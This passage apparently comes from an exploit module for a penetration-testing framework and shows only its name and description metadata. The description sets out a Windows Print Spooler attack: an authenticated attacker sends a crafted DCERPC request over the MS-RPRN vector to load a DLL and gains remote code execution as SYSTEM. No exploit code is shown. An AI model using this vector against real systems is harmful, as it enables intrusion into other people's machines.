'Name' => 'Print Spooler Remote DLL Injection',
'Description' => %q{
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted
DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN
vector which requires the Print Spooler service to be running.
